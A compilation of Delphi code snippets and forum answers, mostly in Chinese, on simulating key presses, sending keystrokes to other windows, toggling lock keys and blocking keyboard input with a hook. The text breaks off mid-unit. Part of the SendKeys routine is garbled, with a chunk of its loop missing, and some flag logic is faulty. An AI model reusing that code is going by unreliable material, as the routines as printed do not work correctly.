//这是段模拟按键的代码，也是我以前写的。

// 特殊按键通过SetShiftState()来做,例如SetShiftState(VK_MENU,TRUE);

procedure KeybdEvent (KeyCode: Byte; Flags: DWORD);

begin

Keybd_Event(KeyCode, MapVirtualKey(KeyCode, 0), Flags, 0);

end;

procedure SetShiftState (Key: Byte; Down: Boolean);

var

KeyState: Boolean;

Flags: DWORD;

begin

KeyState := GetAsyncKeyState(Key) and $8000<>0;

if (KeyState and Down) or ((not KeyState)and(not Down)) then Exit;

if Down then Flags := 0 else Flags := KEYEVENTF_KEYUP;

KeybdEvent(Key,Flags);

end;

procedure SendKey (KeySym: Char; KeyDown: Boolean; bIsWinNT: Boolean);

var

KeyVal: SmallInt;

KeyCode, KeyMask: Byte;

LShift,RShift,Ctrl,Alt, CapsLock: Boolean;

Flags: DWORD;

begin

KeyVal := VkKeyScan(Char(Byte(KeySym) and $FF));

KeyCode := LOBYTE(KeyVal);

KeyMask := HIBYTE(KeyVal);

if KeyCode=$FF then Exit;

CapsLock := (GetAsyncKeyState(VK_CAPITAL) and $8000)<>0;

if CapsLock then KeyMask := KeyMask xor 1;

if bIsWinNT then

begin

LShift := (GetAsyncKeyState(VK_LSHIFT) and $8000) <> 0;

RShift := (GetAsyncKeyState(VK_RSHIFT) and $8000) <> 0;

SetShiftState(VK_RSHIFT, FALSE);

SetShiftState(VK_LSHIFT, FALSE);

SetShiftState(VK_SHIFT, (KeyMask and $01)<>0);

Ctrl := (GetAsyncKeyState(VK_LCONTROL) and $8000) <> 0;

if (not Ctrl) then SetShiftState(VK_LCONTROL,(KeyMask and $02)<>0);

Alt := (GetAsyncKeyState(VK_LMENU) and $8000) <> 0;

if (not Alt) then SetShiftState(VK_LMENU,(KeyMask and $04)<>0);

end else

begin

LShift := (GetAsyncKeyState(VK_SHIFT) and $8000) <> 0;

RShift := FALSE;

SetShiftState (VK_SHIFT, (KeyMask and $01)<>0);

Ctrl := (GetAsyncKeyState(VK_CONTROL) and $8000) <> 0;

if (not Ctrl) then SetShiftState(VK_CONTROL, (Keymask and $02)<>0);

Alt := (GetAsyncKeyState(VK_MENU) and $8000) <> 0;

if (not Alt) then SetShiftState(VK_MENU,(KeyMask and $04)<>0);

end;

if KeyDown then Flags := 0 else Flags := KEYEVENTF_KEYUP;

KeybdEvent(KeyCode and $FF,Flags);

if bIsWinNT then

begin

SetShiftState(VK_LSHIFT, LShift);

SetShiftState(VK_RSHIFT, RSHIFT);

SetShiftState(VK_LCONTROL, CTRL);

SetShiftState(VK_LMENU, ALT);

end else

begin

SetShiftState(VK_SHIFT, LSHIFT);

SetShiftState(VK_CONTROL, CTRL);

SetShiftState(VK_MENU, ALT);

end;

end;

// HTH

// 不要有非法企图啊


禁止和允许键盘按键
禁止和允许键盘，需要一个DLL来做到这一点：

Library KillKB;

Uses Wintypes, WinProcs

{$IFNDEF VER80}

,Win31

{$ENDIF}

;

Var

oldHook: HHook;

Function KbHook( code: Integer; wparam: Word; lparam: LongInt ): LongInt;

export;

Begin

If code < 0 Then

KbHook := CallNextHookEx( oldHook, code, wparam, lparam )

Else

KbHook := 1;

End; { KbHook }

Function DisableKeyboard: Boolean; export;

Begin

oldHook := SetWindowsHookEx( WH_KEYBOARD, KbHook, HInstance, 0 );

DisableKeyboard := oldHook <> 0;

End;

Procedure EnableKeyboard; export;

Begin

If oldHook <> 0 Then Begin

UnhookWindowshookEx( oldHook );

oldHook := 0;

End; { If }

End;

exports

DisableKeyboard index 1,

EnableKeyboard index 2;

Begin

oldHook := 0;

End.

有一些组合键不能屏蔽掉，例如Ctrl+Alt+Del！使用这个有可能导致蓝屏~~~~~~~~：（，你自己看着办吧。


模拟和发送按键
下面的代码是模拟Ctrl+C和Ctrl+V：

//Ctrl+C:

keybd_event(VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), 0, 0);

keybd_event(Ord('C'), MapVirtualKey(Ord('C'), 0), 0, 0);

keybd_event(Ord('C'), MapVirtualKey(Ord('C'), 0), KEYEVENTF_KEYUP, 0);

keybd_event(VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), KEYEVENTF_KEYUP, 0)

//Ctrl+V:

keybd_event(VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), 0, 0);

keybd_event(Ord('V'), MapVirtualKey(Ord('V'), 0), 0, 0);

keybd_event(Ord('V'), MapVirtualKey(Ord('V'), 0), KEYEVENTF_KEYUP, 0);

keybd_event(VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), KEYEVENTF_KEYUP, 0)

**************************

按下一个键最好用SendMessage,用sndkey32.pas无疑会增加程序尺寸。

组合键（超过两个以上）用sndkey32.pas就显出优势来了。

另一种解决方法，下例模拟按下Alt+Down,可参见Delphi SDK的帮助：

keybd_event( VK_MENU, MapVirtualKey( VK_MENU, 0 ), 0 , 0 ); // Alt down

keybd_event( VK_DOWN, MapVirtualKey( VK_DOWN, 0 ), 0 , 0 ); // down arrow key down

keybd_event( VK_DOWN, MapVirtualKey( VK_DOWN, 0 ), KEYEVENTF_KEYUP , 0 ); // down arrow key up

keybd_event( VK_MENU, MapVirtualKey( VK_MENU, 0 ), KEYEVENTF_KEYUP , 0 ); // Alt key up

让 WIN95 模拟按了一个按键，例如按下 ENTER或者 TAB 键?

PostMessage(Object.Handle, WM_KEYDOWN, VK_TAB, 0);

////////////////////////////////

unit Unit1;

interface

uses

SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,

Forms, Dialogs, StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

Button2: TButton;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

procedure FormKeyPress(Sender: TObject; var Key: Char);

private

AppInst: THandle;

AppWind: THandle;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

uses ShellAPI;

procedure SendShift(H: HWnd; Down: Boolean);

var vKey, ScanCode, wParam: Word;

lParam: longint;

begin

vKey:= $10;

ScanCode:= MapVirtualKey(vKey, 0);

wParam:= vKey or ScanCode shl 8;

lParam:= longint(ScanCode) shl 16 or 1;

if not(Down) then lParam:= lParam or $C0000000;

SendMessage(H, WM_KEYDOWN, vKey, lParam);

end;

procedure SendCtrl(H: HWnd; Down: Boolean);

var vKey, ScanCode, wParam: Word;

lParam: longint;

begin

vKey:= $11;

ScanCode:= MapVirtualKey(vKey, 0);

wParam:= vKey or ScanCode shl 8;

lParam:= longint(ScanCode) shl 16 or 1;

if not(Down) then lParam:= lParam or $C0000000;

SendMessage(H, WM_KEYDOWN, vKey, lParam);

end;

procedure SendKey(H: Hwnd; Key: char);

var vKey, ScanCode, wParam: Word;

lParam, ConvKey: longint;

Shift, Ctrl: boolean;

begin

ConvKey:= OemKeyScan(ord(Key));

Shift:= (ConvKey and $00020000) <> 0;

Ctrl:= (ConvKey and $00040000) <> 0;

ScanCode:= ConvKey and $000000FF or $FF00;

vKey:= ord(Key);

wParam:= vKey;

lParam:= longint(ScanCode) shl 16 or 1;

if Shift then SendShift(H, true);

if Ctrl then SendCtrl(H, true);

SendMessage(H, WM_KEYDOWN, vKey, lParam);

SendMessage(H, WM_CHAR, vKey, lParam);

lParam:= lParam or $C0000000;

SendMessage(H, WM_KEYUP, vKey, lParam);

if Shift then SendShift(H, false);

if Ctrl then SendCtrl(H, false);

end;

function EnumFunc(Handle: HWnd; TF: TForm1): Bool; Far;

begin

TF.AppWind:= 0;

if GetWindowWord(Handle, GWW_HINSTANCE) = TF.AppInst then

TF.AppWind:= Handle;

result:= (TF.AppWind = 0);

end;

procedure TForm1.Button1Click(Sender: TObject);

var Text: Array[0..255] of char;

begin

AppInst:= ShellExecute(Handle, 'open', 'notepad.exe', nil, '', SW_NORMAL);

EnumWindows(@EnumFunc, longint(self));

AppWind:= GetWindow(AppWind, GW_CHILD);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

SendKey(AppWind, 'T');

SendKey(AppWind, 'e');

SendKey(AppWind, 's');

SendKey(AppWind, 't');

end;

procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char);

begin

if AppWind <> 0 then SendKey(AppWind, Key);

end;

end.

///////////////////////////////////////////////////////////////////////

Ah,这个嘛......正好在《DELPHI新闻组学习笔记》上看到一篇：

How to send [Alt]+[Down]?--------------发出一个Alt+Down 组合键

Re:

Use the keybd_event API function to fake keyboard events. Note that each

key down event needs a matching key up or you mess up the key state array.

keybd_event( VK_MENU, MapVirtualKey( VK_MENU, 0 ), 0 , 0 ); // Alt down

keybd_event( VK_DOWN, MapVirtualKey( VK_DOWN, 0 ), 0 , 0 ); // down arrow key down

keybd_event( VK_DOWN, MapVirtualKey( VK_DOWN, 0 ), KEYEVENTF_KEYUP , 0 ); // down arrow key up

keybd_event( VK_MENU, MapVirtualKey( VK_MENU, 0 ), KEYEVENTF_KEYUP , 0 ); // Alt key up

经本人试验，确实可行，另加补充：

Ctrl: VK_CONTROL

SHIFT:VK_SHIFT

TAB: VK_TAB

'A': byte('A') (98-6-8 22:28)

/////////////////////////////////////////////////////////////

(*

Converts a string of characters and key names to keyboard events and

passes them to Windows.

Example syntax:

SendKeys('abc123{left}{left}{left}def{end}456{left 6}ghi{end}789', True);

*)

Function SendKeys(SendKeysString : PChar; Wait : Boolean) : Boolean;

type

WBytes = array[0..pred(SizeOf(Word))] of Byte;

TSendKey = record

Name : ShortString;

VKey : Byte;

end;

const

{Array of keys that SendKeys recognizes.

If you add to this list, you must be sure to keep it sorted alphabetically

by Name because a binary search routine is used to scan it.}

MaxSendKeyRecs = 41;

SendKeyRecs : array[1..MaxSendKeyRecs] of TSendKey =

(

(Name:'BKSP'; VKey:VK_BACK),

(Name:'BS'; VKey:VK_BACK),

(Name:'BACKSPACE'; VKey:VK_BACK),

(Name:'BREAK'; VKey:VK_CANCEL),

(Name:'CAPSLOCK'; VKey:VK_CAPITAL),

(Name:'CLEAR'; VKey:VK_CLEAR),

(Name:'DEL'; VKey:VK_DELETE),

(Name:'DELETE'; VKey:VK_DELETE),

(Name:'DOWN'; VKey:VK_DOWN),

(Name:'END'; VKey:VK_END),

(Name:'ENTER'; VKey:VK_RETURN),

(Name:'ESC'; VKey:VK_ESCAPE),

(Name:'ESCAPE'; VKey:VK_ESCAPE),

(Name:'F1'; VKey:VK_F1),

(Name:'F10'; VKey:VK_F10),

(Name:'F11'; VKey:VK_F11),

(Name:'F12'; VKey:VK_F12),

(Name:'F13'; VKey:VK_F13),

(Name:'F14'; VKey:VK_F14),

(Name:'F15'; VKey:VK_F15),

(Name:'F16'; VKey:VK_F16),

(Name:'F2'; VKey:VK_F2),

(Name:'F3'; VKey:VK_F3),

(Name:'F4'; VKey:VK_F4),

(Name:'F5'; VKey:VK_F5),

(Name:'F6'; VKey:VK_F6),

(Name:'F7'; VKey:VK_F7),

(Name:'F8'; VKey:VK_F8),

(Name:'F9'; VKey:VK_F9),

(Name:'HELP'; VKey:VK_HELP),

(Name:'HOME'; VKey:VK_HOME),

(Name:'INS'; VKey:VK_INSERT),

(Name:'LEFT'; VKey:VK_LEFT),

(Name:'NUMLOCK'; VKey:VK_NUMLOCK),

(Name:'PGDN'; VKey:VK_NEXT),

(Name:'PGUP'; VKey:VK_PRIOR),

(Name:'PRTSC'; VKey:VK_PRINT),

(Name:'RIGHT'; VKey:VK_RIGHT),

(Name:'SCROLLLOCK'; VKey:VK_SCROLL),

(Name:'TAB'; VKey:VK_TAB),

(Name:'UP'; VKey:VK_UP)

);

{Extra VK constants missing from Delphi's Windows API interface}

VK_NULL=0;

VK_SemiColon=186;

VK_Equal=187;

VK_Comma=188;

VK_Minus=189;

VK_Period=190;

VK_Slash=191;

VK_BackQuote=192;

VK_LeftBracket=219;

VK_BackSlash=220;

VK_RightBracket=221;

VK_Quote=222;

VK_Last=VK_Quote;

ExtendedVKeys : set of byte =

[VK_Up,

VK_Down,

VK_Left,

VK_Right,

VK_Home,

VK_End,

VK_Prior, {PgUp}

VK_Next, {PgDn}

VK_Insert,

VK_Delete];

const

INVALIDKEY = $FFFF {Unsigned -1};

VKKEYSCANSHIFTON = $01;

VKKEYSCANCTRLON = $02;

VKKEYSCANALTON = $04;

UNITNAME = 'SendKeys';

var

UsingParens, ShiftDown, ControlDown, AltDown, FoundClose : Boolean;

PosSpace : Byte;

I, L : Integer;

NumTimes, MKey : Word;

KeyString : String[20];

procedure DisplayMessage(Message : PChar);

begin

MessageBox(0,Message,UNITNAME,0);

end;

function BitSet(BitTable, BitMask : Byte) : Boolean;

begin

Result:=ByteBool(BitTable and BitMask);

end;

procedure SetBit(var BitTable : Byte; BitMask : Byte);

begin

BitTable:=BitTable or Bitmask;

end;

Procedure KeyboardEvent(VKey, ScanCode : Byte; Flags : Longint);

var

KeyboardMsg : TMsg;

begin

keybd_event(VKey, ScanCode, Flags,0);

If (Wait) then While (PeekMessage(KeyboardMsg,0,WM_KEYFIRST, WM_KEYLAST, PM_REMOVE)) do begin

TranslateMessage(KeyboardMsg);

DispatchMessage(KeyboardMsg);

end;

end;

Procedure SendKeyDown(VKey: Byte; NumTimes : Word; GenUpMsg : Boolean);

var

Cnt : Word;

ScanCode : Byte;

NumState : Boolean;

KeyBoardState : TKeyboardState;

begin

If (VKey=VK_NUMLOCK) then begin

NumState:=ByteBool(GetKeyState(VK_NUMLOCK) and 1);

GetKeyBoardState(KeyBoardState);

If NumState then KeyBoardState[VK_NUMLOCK]:=(KeyBoardState[VK_NUMLOCK] and not 1)

else KeyBoardState[VK_NUMLOCK]:=(KeyBoardState[VK_NUMLOCK] or 1);

SetKeyBoardState(KeyBoardState);

exit;

end;

ScanCode:=Lo(MapVirtualKey(VKey,0));

For Cnt:=1 to NumTimes do

If (VKey in ExtendedVKeys)then begin

KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY);

If (GenUpMsg) then

KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP)

end else begin

KeyboardEvent(VKey, ScanCode, 0);

If (GenUpMsg) then KeyboardEvent(VKey, ScanCode, KEYEVENTF_KEYUP);

end;

end;

Procedure SendKeyUp(VKey: Byte);

var

ScanCode : Byte;

begin

ScanCode:=Lo(MapVirtualKey(VKey,0));

If (VKey in ExtendedVKeys)then

KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY and KEYEVENTF_KEYUP)

else KeyboardEvent(VKey, ScanCode, KEYEVENTF_KEYUP);

end;

Procedure SendKey(MKey: Word; NumTimes : Word; GenDownMsg : Boolean);

begin

If (BitSet(Hi(MKey),VKKEYSCANSHIFTON)) then SendKeyDown(VK_SHIFT,1,False);

If (BitSet(Hi(MKey),VKKEYSCANCTRLON)) then SendKeyDown(VK_CONTROL,1,False);

If (BitSet(Hi(MKey),VKKEYSCANALTON)) then SendKeyDown(VK_MENU,1,False);

SendKeyDown(Lo(MKey), NumTimes, GenDownMsg);

If (BitSet(Hi(MKey),VKKEYSCANSHIFTON)) then SendKeyUp(VK_SHIFT);

If (BitSet(Hi(MKey),VKKEYSCANCTRLON)) then SendKeyUp(VK_CONTROL);

If (BitSet(Hi(MKey),VKKEYSCANALTON)) then SendKeyUp(VK_MENU);

end;

{Implements a simple binary search to locate special key name strings}

Function StringToVKey(KeyString : ShortString) : Word;

var

Found, Collided : Boolean;

Bottom, Top, Middle : Byte;

begin

Result:=INVALIDKEY;

Bottom:=1;

Top:=MaxSendKeyRecs;

Found:=false;

Middle:=(Bottom+Top) div 2;

Repeat

Collided:=((Bottom=Middle) or (Top=Middle));

If (KeyString=SendKeyRecs[Middle].Name) then begin

Found:=True;

Result:=SendKeyRecs[Middle].VKey;

end else begin

If (KeyString>SendKeyRecs[Middle].Name) then Bottom:=Middle

else Top:=Middle;

Middle:=(Succ(Bottom+Top)) div 2;

end;

Until (Found or Collided);

If (Result=INVALIDKEY) then DisplayMessage('Invalid Key Name');

end;

procedure PopUpShiftKeys;

begin

If (not UsingParens) then begin

If ShiftDown then SendKeyUp(VK_SHIFT);

If ControlDown then SendKeyUp(VK_CONTROL);

If AltDown then SendKeyUp(VK_MENU);

ShiftDown:=false;

ControlDown:=false;

AltDown:=false;

end;

end;

begin

AllocationSize:=MaxInt;

Result:=false;

UsingParens:=false;

ShiftDown:=false;

ControlDown:=false;

AltDown:=false;

I:=0;

L:=StrLen(SendKeysString);

If (L>AllocationSize) then L:=AllocationSize;

If (L=0) then Exit;

While (IINVALIDKEY) then begin

SendKey(MKey,1,True);

PopUpShiftKeys;

end else DisplayMessage('Invalid KeyName');

Inc(I);

end;

end;

end;

Result:=true;

PopUpShiftKeys;

end;

**************************************

{//虚拟按键

调用方法：

SendKey(VK_ESCAPE,[]);

}

procedure SendKey(const mKey: Word; mShiftState: TShiftState;

mCount: Integer = 1); { 模拟系统按键;mCount指定按键次数 }

const

cExtended: set of Byte = [VK_UP, VK_DOWN, VK_LEFT, VK_RIGHT, VK_HOME,

VK_END, VK_PRIOR, VK_NEXT, VK_INSERT, VK_DELETE];

procedure pKeyboardEvent(mKey, mScanCode: Byte; mFlags: Longint);

var

vKeyboardMsg: TMsg;

begin

keybd_event(mKey, mScanCode, mFlags, 0);

while PeekMessage(vKeyboardMsg, 0, WM_KEYFIRST, WM_KEYLAST, PM_REMOVE) do

begin

TranslateMessage(vKeyboardMsg);

DispatchMessage(vKeyboardMsg);

end;

end; { pKeyboardEvent }

procedure pSendKeyDown(mKey: Word; mGenUpMsg: Boolean);

var

vScanCode: Byte;

vNumState: Boolean;

vKeyBoardState: TKeyboardState;

begin

if (mKey = VK_NUMLOCK) then begin

vNumState := ByteBool(GetKeyState(VK_NUMLOCK) and 1);

GetKeyBoardState(vKeyBoardState);

if vNumState then

vKeyBoardState[VK_NUMLOCK] := (vKeyBoardState[VK_NUMLOCK] and not 1)

else vKeyBoardState[VK_NUMLOCK] := (vKeyBoardState[VK_NUMLOCK] or 1);

SetKeyBoardState(vKeyBoardState);

Exit;

end;

vScanCode := Lo(MapVirtualKey(mKey, 0));

if (mKey in cExtended) then begin

pKeyboardEvent(mKey, vScanCode, KEYEVENTF_EXTENDEDKEY);

if mGenUpMsg then

pKeyboardEvent(mKey, vScanCode,

KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP)

end else begin

pKeyboardEvent(mKey, vScanCode, 0);

if mGenUpMsg then pKeyboardEvent(mKey, vScanCode, KEYEVENTF_KEYUP);

end;

end; { pSendKeyDown }

procedure pSendKeyUp(mKey: Word);

var

vScanCode: Byte;

begin

vScanCode := Lo(MapVirtualKey(mKey, 0));

if mKey in cExtended then

pKeyboardEvent(mKey, vScanCode, KEYEVENTF_EXTENDEDKEY and KEYEVENTF_KEYUP)

else pKeyboardEvent(mKey, vScanCode, KEYEVENTF_KEYUP);

end; { pSendKeyUp }

var

I: Integer;

begin

for I := 1 to mCount do begin

if ssShift in mShiftState then pSendKeyDown(VK_SHIFT, False);

if ssCtrl in mShiftState then pSendKeyDown(VK_CONTROL, False);

if ssAlt in mShiftState then pSendKeyDown(VK_MENU, False);

pSendKeyDown(mKey, True);

if ssShift in mShiftState then pSendKeyUp(VK_SHIFT);

if ssCtrl in mShiftState then pSendKeyUp(VK_CONTROL);

if ssAlt in mShiftState then pSendKeyUp(VK_MENU);

end;

end; { SendKey }


模拟按键
procedure PostKeyEx32(key: Word; const shift: TShiftState; specialkey: Boolean);

{************************************************************

* Procedure PostKeyEx32

*

* Parameters:

* key : virtual keycode of the key to send. For printable

* keys this is simply the ANSI code (Ord(character)).

* shift : state of the modifier keys. This is a set, so you

* can set several of these keys (shift, control, alt,

* mouse buttons) in tandem. The TShiftState type is

* declared in the Classes Unit.

* specialkey: normally this should be False. Set it to True to

* specify a key on the numeric keypad, for example.

* Description:

* Uses keybd_event to manufacture a series of key events matching

* the passed parameters. The events go to the control with focus.

* Note that for characters key is always the upper-case version of

* the character. Sending without any modifier keys will result in

* a lower-case character, sending it with [ssShift] will result

* in an upper-case character!

// Code by P. Below

************************************************************}

type

TShiftKeyInfo = record

shift: Byte;

vkey: Byte;

end;

byteset = set of 0..7;

const

shiftkeys: array [1..3] of TShiftKeyInfo =

((shift: Ord(ssCtrl); vkey: VK_CONTROL),

(shift: Ord(ssShift); vkey: VK_SHIFT),

(shift: Ord(ssAlt); vkey: VK_MENU));

var

flag: DWORD;

bShift: ByteSet absolute shift;

i: Integer;

begin

for i := 1 to 3 do

begin

if shiftkeys[i].shift in bShift then

keybd_event(shiftkeys[i].vkey, MapVirtualKey(shiftkeys[i].vkey, 0), 0, 0);

end; { For }

if specialkey then

flag := KEYEVENTF_EXTENDEDKEY

else

flag := 0;

keybd_event(key, MapvirtualKey(key, 0), flag, 0);

flag := flag or KEYEVENTF_KEYUP;

keybd_event(key, MapvirtualKey(key, 0), flag, 0);

for i := 3 downto 1 do

begin

if shiftkeys[i].shift in bShift then

keybd_event(shiftkeys[i].vkey, MapVirtualKey(shiftkeys[i].vkey, 0),

KEYEVENTF_KEYUP, 0);

end; { For }

end; { PostKeyEx32 }

procedure TForm1.Button1Click(Sender: TObject);

begin

//Pressing the Left Windows Key

PostKeyEx32(VK_LWIN, [], False);

//Pressing the letter D

PostKeyEx32(Ord('D'), [], False);

//Pressing Ctrl-Alt-C

PostKeyEx32(Ord('C'), [ssctrl, ssAlt], False);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

{or you can also try this simple example to send any

amount of keystrokes at the same time. }

{Pressing the A Key and showing it in the Edit1.Text}

Edit1.SetFocus;

keybd_event(VK_SHIFT, 0, 0, 0);

keybd_event(Ord('A'), 0, 0, 0);

keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);

{Presses the Left Window Key and starts the Run}

keybd_event(VK_LWIN, 0, 0, 0);

keybd_event(Ord('R'), 0, 0, 0);

keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0);

end;

{***********************************************************}

procedure PostKeyExHWND(hWindow: HWnd; key: Word; const shift: TShiftState;

specialkey: Boolean);

{************************************************************

* Procedure PostKeyEx

*

* Parameters:

* hWindow: target window to be send the keystroke

* key : virtual keycode of the key to send. For printable

* keys this is simply the ANSI code (Ord(character)).

* shift : state of the modifier keys. This is a set, so you

* can set several of these keys (shift, control, alt,

* mouse buttons) in tandem. The TShiftState type is

* declared in the Classes Unit.

* specialkey: normally this should be False. Set it to True to

* specify a key on the numeric keypad, for example.

* If this parameter is true, bit 24 of the lparam for

* the posted WM_KEY* messages will be set.

* Description:

* This procedure sets up Windows key state array to correctly

* reflect the requested pattern of modifier keys and then posts

* a WM_KEYDOWN/WM_KEYUP message pair to the target window. Then

* Application.ProcessMessages is called to process the messages

* before the keyboard state is restored.

* Error Conditions:

* May fail due to lack of memory for the two key state buffers.

* Will raise an exception in this case.

* NOTE:

* Setting the keyboard state will not work across applications

* running in different memory spaces on Win32 unless AttachThreadInput

* is used to connect to the target thread first.

*Created: 02/21/96 16:39:00 by P. Below

************************************************************}

type

TBuffers = array [0..1] of TKeyboardState;

var

pKeyBuffers: ^TBuffers;

lParam: LongInt;

begin

(* check if the target window exists *)

if IsWindow(hWindow) then

begin

(* set local variables to default values *)

pKeyBuffers := nil;

lParam := MakeLong(0, MapVirtualKey(key, 0));

(* modify lparam if special key requested *)

if specialkey then

lParam := lParam or $1000000;

(* allocate space for the key state buffers *)

New(pKeyBuffers);

try

(* Fill buffer 1 with current state so we can later restore it.

Null out buffer 0 to get a "no key pressed" state. *)

GetKeyboardState(pKeyBuffers^[1]);

FillChar(pKeyBuffers^[0], SizeOf(TKeyboardState), 0);

(* set the requested modifier keys to "down" state in the buffer*)

if ssShift in shift then

pKeyBuffers^[0][VK_SHIFT] := $80;

if ssAlt in shift then

begin

(* Alt needs special treatment since a bit in lparam needs also be set *)

pKeyBuffers^[0][VK_MENU] := $80;

lParam := lParam or $20000000;

end;

if ssCtrl in shift then

pKeyBuffers^[0][VK_CONTROL] := $80;

if ssLeft in shift then

pKeyBuffers^[0][VK_LBUTTON] := $80;

if ssRight in shift then

pKeyBuffers^[0][VK_RBUTTON] := $80;

if ssMiddle in shift then

pKeyBuffers^[0][VK_MBUTTON] := $80;

(* make out new key state array the active key state map *)

SetKeyboardState(pKeyBuffers^[0]);

(* post the key messages *)

if ssAlt in Shift then

begin

PostMessage(hWindow, WM_SYSKEYDOWN, key, lParam);

PostMessage(hWindow, WM_SYSKEYUP, key, lParam or $C0000000);

end

else

begin

PostMessage(hWindow, WM_KEYDOWN, key, lParam);

PostMessage(hWindow, WM_KEYUP, key, lParam or $C0000000);

end;

(* process the messages *)

Application.ProcessMessages;

(* restore the old key state map *)

SetKeyboardState(pKeyBuffers^[1]);

finally

(* free the memory for the key state buffers *)

if pKeyBuffers <> nil then

Dispose(pKeyBuffers);

end; { If }

end;

end; { PostKeyEx }

procedure TForm1.Button1Click(Sender: TObject);

var

targetWnd: HWND;

begin

targetWnd := FindWindow('notepad', nil)

if targetWnd <> 0 then

begin

PostKeyExHWND(targetWnd, Ord('I'), [ssAlt], False);

end;

end;


检测及改变num lock /caps lock
soaringbird：

检测：

Var

ks: TkeyBoardState;

begin

GetKeyboardState(ks);

if (ks[VK_NUMLOCK] = 1) then

ShowMessage('Num Lock is on.')

else

ShowMessage('Num Lock is off.');

if (ks[VK_CAPITAL] = 1) then

ShowMessage('Caps Lock is on.')

else

ShowMessage('Caps Lock is off.');

end;

切换：

keybd_event( VK_NUMLOCK, $45, KEYEVENTF_EXTENDEDKEY or 0,0 );

keybd_event( VK_NUMLOCK, $45, KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP, 0);

keybd_event( VK_CAPITAL, $45, KEYEVENTF_EXTENDEDKEY or 0, 0 );

keybd_event( VK_CAPITAL, $45, KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP, 0);

*******************************************

Question

How to control caps lock key?

Answer

A:

In Windows enviroment, you can look at the keyboard lights values, but you can't

set it, because Windows intercept your peek in the memory and blocks it (I tryed

under Windows 95, maybe under Windows 3.11 it works). However, you should be able

to look at the status.

Try to put this simple code in a function:

const

SCROLLLOCK = 1;

NUMLOCK = 2;

CAPSLOCK = 4;

var

Status: Byte;

PntK: ^Byte;

begin

PntK := Ptr($40, $97); {directly point in memory}

Status := Byte(PntK^); {read the status}

if (NUMLOCK and Status) = NUMLOCK then {if NUM LOCK is on}

Status := Status and (255 - NUMLOCK) {turn it off}

else

Status := Status or 2; {turn it on}

Pntk^ := Status; {poke in memory (don't works)}

end;

A:

I use this procedures to turn on the caps lock if it isn't already on when

the user enters my DBloockup combo. This gets rid of the nasty problem

of case-sensitive indexes.

procedure TMainForm.StudentLookupEnter(Sender: TObject);

Var Level : Integer;

KeyState : TKeyBoardState;

begin

{check if caps-lock is on - if not turn it on}

Level := GetKeyState(VK_CAPITAL);

GetKeyboardState(KeyState);

CapsLockStatus := KeyState;

If Level = 0 then

begin

KeyState[VK_CAPITAL] := 1;

setKeyboardState(KeyState);

end;

end;

Question

I need my application to be able to "stuff keystrokes" into the keyboard

buffer.

My application needs to be able to do this while minimzed and the

keystrokes should effect the active Window and appear "typed".

Answer

A:

{this proc interrogates the numlock key and sets the state}

{according to the value of bOn}

procedure TIndexForm.ToggleNumLockKey(bOn: Boolean);

var

KeyState : TKeyBoardState;

begin

GetKeyboardState( KeyState );

if bOn then KeyState[VK_NUMLOCK] := 1

else KeyState[VK_NUMLOCK] := 0;

SetKeyboardState( KeyState );

end;


Delphi中如何模拟键盘按键
可以用JournalPlayback Windows Hook实现

DDG5第13章有个Demo， 你可以去看看。

SendKey.pas内容如下：

unit SendKey;

interface

uses

SysUtils, Windows, Messages, Classes, KeyDefs;

type

{ Error codes }

TSendKeyError = (sk_None, sk_FailSetHook, sk_InvalidToken,

sk_UnknownError, sk_AlreadyPlaying);

{ first vk code to last vk code }

TvkKeySet = set of vk_LButton..vk_Scroll;

{ exceptions }

ESendKeyError = class(Exception);

ESKSetHookError = class(ESendKeyError);

ESKInvalidToken = class(ESendKeyError);

ESKAlreadyPlaying = class(ESendKeyError);

function SendKeys(S: String): TSendKeyError;

procedure WaitForHook;

procedure StopPlayback;

var

Playing: Boolean;

implementation

uses Forms;

type

{ a TList descendant that know how to dispose of its contents }

TMessageList = class(TList)

public

destructor Destroy; override;

end;

const

{ valid "sys" keys }

vkKeySet: TvkKeySet = [Ord('A')..Ord('Z'), vk_Menu, vk_F1..vk_F12];

destructor TMessageList.Destroy;

var

i: longint;

begin

{ deallocate all the message records before discarding the list }

for i := 0 to Count - 1 do

Dispose(PEventMsg(Items[i]));

inherited Destroy;

end;

var

{ variables global to the DLL }

MsgCount: word = 0;

MessageBuffer: TEventMsg;

HookHandle: hHook = 0;

MessageList: TMessageList = Nil;

AltPressed, ControlPressed, ShiftPressed: Boolean;

procedure StopPlayback;

{ Unhook the hook, and clean up }

begin

{ if Hook is currently active, then unplug it }

if Playing then

UnhookWindowsHookEx(HookHandle);

MessageList.Free;

Playing := False;

end;

function Play(Code: integer; wParam, lParam: Longint): Longint; stdcal

l;

{ This is the JournalPlayback callback function. It is called by }

{ Windows when Windows polls for hardware events. The code parameter

}

{ indicates what to do. }

begin

case Code of

HC_SKIP:

{ HC_SKIP means to pull the next message out of our list. If we

}

{ are at the end of the list, it's okay to unhook the }

{ JournalPlayback hook from here. }

begin

{ increment message counter }

inc(MsgCount);

{ check to see if all messages have been played }

if MsgCount >= MessageList.Count then StopPlayback

{ otherwise copy next message from list into buffer }

else MessageBuffer := TEventMsg(MessageList.Items[MsgCount]^);

Result := 0;

end;

HC_GETNEXT:

{ HC_GETNEXT means to fill the wParam and lParam with the proper

}

{ values so that the message can be played back. DO NOT unhook

}

{ hook from within here. Return value indicates how much time }

{ until Windows should playback message. We'll return 0 so that

}

{ it is processed right away. }

begin

